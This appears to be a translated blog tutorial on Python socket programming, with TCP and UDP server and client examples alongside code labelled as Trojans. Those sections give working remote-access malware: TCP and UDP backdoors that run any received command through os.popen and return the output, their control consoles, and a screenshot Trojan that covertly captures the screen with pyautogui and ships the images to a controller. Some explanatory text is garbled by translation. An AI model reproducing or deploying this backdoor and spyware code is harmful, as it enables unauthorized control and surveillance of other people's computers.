Python Network Programming (TCP/UDP)

TCP/IP network model concept

application layer ftp/http/https/websocket/websockets/DNS/...
Transport layer Provide an end-to-end interface (point to point 2 p2p p4p):TCP/UDP
network layer Select route for routing packets: ip/icmp/rip/BGP/IGMP/
link layer Transmission of data and frames with addresses on physical media in the nature of binary data and error detection

TCP

  • The transmission control protocol is connected and sequenced, and can be adjusted according to the network conditions. It has a congestion mechanism
  • Features:
    • Connected, 3 handshakes and 4 disconnects
  • Broken grip
  • Single function
    • Unicast transmission
  • Byte stream oriented
  • Reliable transmission
  • Provide congestion mechanism
  • Full duplex communication

TCP communication - server side

#TCP
import socket

tcpserver = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#Default TCP

serverAddr = ('',12312)

tcpserver.bind(serverAddr)

tcpserver.listen(5)

while True:
	#Establish socket communication connection
	client,addr = tcpserver.accept()
	print(client)
	#<socket.socket fd=548, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 12312), raddr=('127.0.0.1', 55326)>
	print(addr)
	#('127.0.0.1', 55326)
	#Parsing received data

	fromclientdata = client.recv(4096).decode()
	print(fromclientdata)

	#Send to client
	client.send("Message 1 from server".encode())
	# Client Send ("message 2 from server".Encode())
	client.close()

TCP communication - server side

#TCP client
import socket
import time

tcpclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#Handshake, establish connection
serveradds = ('127.0.0.1',12312)
try:
	tcpclient.connect(serveradds)
	print("Connection successful")
except Exception as e:
	print("Connection failed")

while True:
	#Doing business - sending messages to the server
	tcpclient.send("Client1-Message 1 from client".encode())
	# # time.sleep(10)
	# Tcpclient Send ("message 2 from client".Encode())
	# Tcpclient Send ("message 3 from client".Encode())
	# Tcpclient Send ("message 4 from client".Encode())

	#Receive message
	fromserverdata = tcpclient.recv(4096).decode()
	print(fromserverdata)

	#Disconnect, or the port will be occupied and live forever
tcpclient.close()

TCP msf remote control Trojan - controlled end -exe

#msf Trojan horse exe
from socket import *
import os

exe = socket(AF_INET,SOCK_STREAM)

addr = ('',14445)

exe.bind(addr)

exe.listen(5)

while True:
	console,consoleadds = exe.accept()
	while True:
		cmd = console.recv(4096)
		if len(cmd)>0:
			decmd = cmd.decode('utf-8')
			print("console:"+decmd)
			res = os.popen(decmd)
			res = res.read()
			console.send(res.encode('utf-8'))
		else:
			break
	console.close()

TCP msf remote control Trojan horse - control end

#console
from socket import *

console = socket(AF_INET,SOCK_STREAM)

addr = ("127.0.0.1",14445)

console.connect(addr)

while True:
	sendcmd = input(">>")
	if len(sendcmd)>0:
		console.send(sendcmd.encode('utf-8'))
	else:
		print("Command cannot be empty")
		break

	#Receive results
	msfres = console.recv(4096)
	print(msfres.decode('utf-8'))

TCP remote monitoring screenshot Trojan - controlled end -exe

#client-exe
#Establish a connection, obtain data packets, poll by size until it is completed, and save the picture at the end
import socket,sys,threading
import pyautogui
#pip install pyautogui
import time
import os
import struct

def socket_console():
	try:
		s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#Control machine connected to Trojan horse
		s.connect(('127.0.0.1',14446))
	except socket.error as e:
		print(e)
		sys.exit(1)

	#Business processing
	#Send a file package first: file name, file size
	#Screenshot
	while 1:
		print("Start screenshot")
		time.sleep(2)
		img = pyautogui.screenshot()
		img.save('temp.jpg')
		print("Screenshot end")
		#Send packet
		filepath = 'temp.jpg'
		#Determine whether the file exists
		if os.path.isfile(filepath):
			#Indicates presence
			#Package a package with file name and size b
			#128s:128bytes length, l indicates int/long type
			fileinfo_size = struct.calcsize("128sl")
			#basename() gets the file name without format
			filehead = struct.pack('128sl',bytes(os.path.basename(filepath).encode('utf-8')),os.stat(filepath).st_size)
			print(filehead)
			#Send header information to the control terminal
			s.send(filehead)
			#Open the file and open it in hexadecimal mode
			fp = open(filepath,'rb')
			while 1:
				data = fp.read(1024)
				if not data:
					print("Read completed, no data")
					break
				s.send(data)
		s.close()
		#If you want to read and send pictures every 2s, do not break
		break

if __name__ == '__main__':
	socket_console()
	os.remove('temp.jpg')

TCP remote monitoring screenshot Trojan - control end

#console
#Establish TCP channel, use the tool screen capture, save files, read bytes and send data packets until sending is completed, and delete pictures
import socket,sys,threading,os
import struct

def socket_service():
	try:
		s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)#Indicates that the port is released immediately after the socket is closed. Otherwise, the system will keep it for several minutes before releasing it
		s.bind(('',14446))
		s.listen(10)
	except socket.error as e:
		print(e)
		sys.exit(1)

	print("Waiting......")

	while 1:
		console,addr = s.accept()
		#Increase threads and concurrency
		t = threading.Thread(target=deal_data,args=(console,addr))
		t.start()

def deal_data(console,addr):
	print("A new connection{}".format(addr))
	while 1:
		#Set file size
		fileinfo_size = struct.calcsize("128sl")
		buf = console.recv(fileinfo_size)
		if buf:
			filename,filesize = struct.unpack('128sl',buf)
			fn = filename.strip(str.encode('\00'))
			print(fn)
			#New name save
			newfn = os.path.join(str.encode('./'),str.encode('new_')+fn)
			print("New file name is:{},New file size is:{}".format(newfn,filesize))
			#Receive file stream
			#Define the size of a receive file
			recvd_size = 0
			recvfp = open(newfn,'wb')
			print("Start receiving......")
			while not recvd_size==filesize:
				if filesize-recvd_size>1024:
					#If the total size minus the received file size is greater than 1024, continue to press 1024 to receive
					data = console.recv(1024)
					recvd_size+= len(data)
				else:
					#If the size of the file content to be received is less than 1024, it indicates that it is not 1k, and the rest of the file content will be taken directly
					data = console.recv(filesize-recvd_size)
					recvd_size = filesize
				recvfp.write(data)
			recvfp.close()
			print("Document receiving completed")
		console.close()
		break

if __name__ == '__main__':
	socket_service()

UDP

  • User datagram protocol is a connectionless protocol
  • Features:
    • Face connectionless
      • It will not have the same handshake and handshake breaking processing mechanism as TCP. It is just a data Porter and will not perform any splitting and splicing operations on the data
      • At the sending end: the application layer transmits data to UDP of the transport layer. After UDP adds a UDP identifier header, the data is transmitted to the network layer
      • At the receiving end: the network layer transfers the data to the transport layer, and UDP only removes the IP message header and transfers it to the application layer without any operation on the data
    • More functions
      • unicast
      • Multicast
      • broadcast
    • Message oriented
      • Any existing message will not be changed, so it is necessary to select a message of appropriate size for transmission
    • reliability
      • Unreliable due to no connection
      • The data is immutable and disassembled, and the size remains the same. We don't care whether the data has been correctly received
      • The network environment changes and is unreliable. UDP has no congestion mechanism and transmits intelligently at a constant speed
    • Low overhead

UPD communication - server side

#UDP communication - server side
import socket

udpserver = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#The first is IPV4, the second is UDP, and the default is IPV4/TCP

udpserver.bind(("127.0.0.1",6000))

print("UDP Start successful!")

#Receiving data from the client
while True:
	data,addr = udpserver.recvfrom(1024)
	print("The client said:{}".format(data))
	#Send data to client
	sdata = input(">>")
	udpserver.sendto("The server says:{}".format(sdata).encode(),addr)

UDP communication - client

#UDP communication - client
import socket

udpclient = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#The first is IPV4, the second is UDP, and the default is IPV4/TCP

serveraddr = ("127.0.0.1",6000)

while True:
	data = input(">>")
	if not data:
		continue
	udpclient.sendto(data.encode(),serveraddr)#(data, destination address)

	#Receive data from client
	sdata,saddr = udpclient.recvfrom(1024)
	print("<<{}".format(sdata.decode()))

UDP msf remote control Trojan - controlled end

#udp msf remote control Trojan - controlled end
import socket
import os

c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

#ip needs dynamic acquisition
c.bind(('',14444))

while True:
	data,addr = c.recvfrom(4096)
	#Execute received data
	# print(data.decode())
	#Execute the cmd command through the os module and return the executed result
	cmd = data.decode()
	res = os.popen(cmd,'r')
	res = res.read()
	c.sendto(res.encode(),addr)

UDP msf remote control Trojan - control end -console

#udp msf remote control Trojan horse control console
import socket

c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

adds = ('127.0.0.1',14444)
data = input(">>")

c.sendto(data.encode(),adds)

sdata,saddr = c.recvfrom(4096)
print("{}".format(sdata.decode()))

Tags: Python socket network

Posted by Marchingknight11 on Wed, 01 Jun 2022 09:21:02 +0530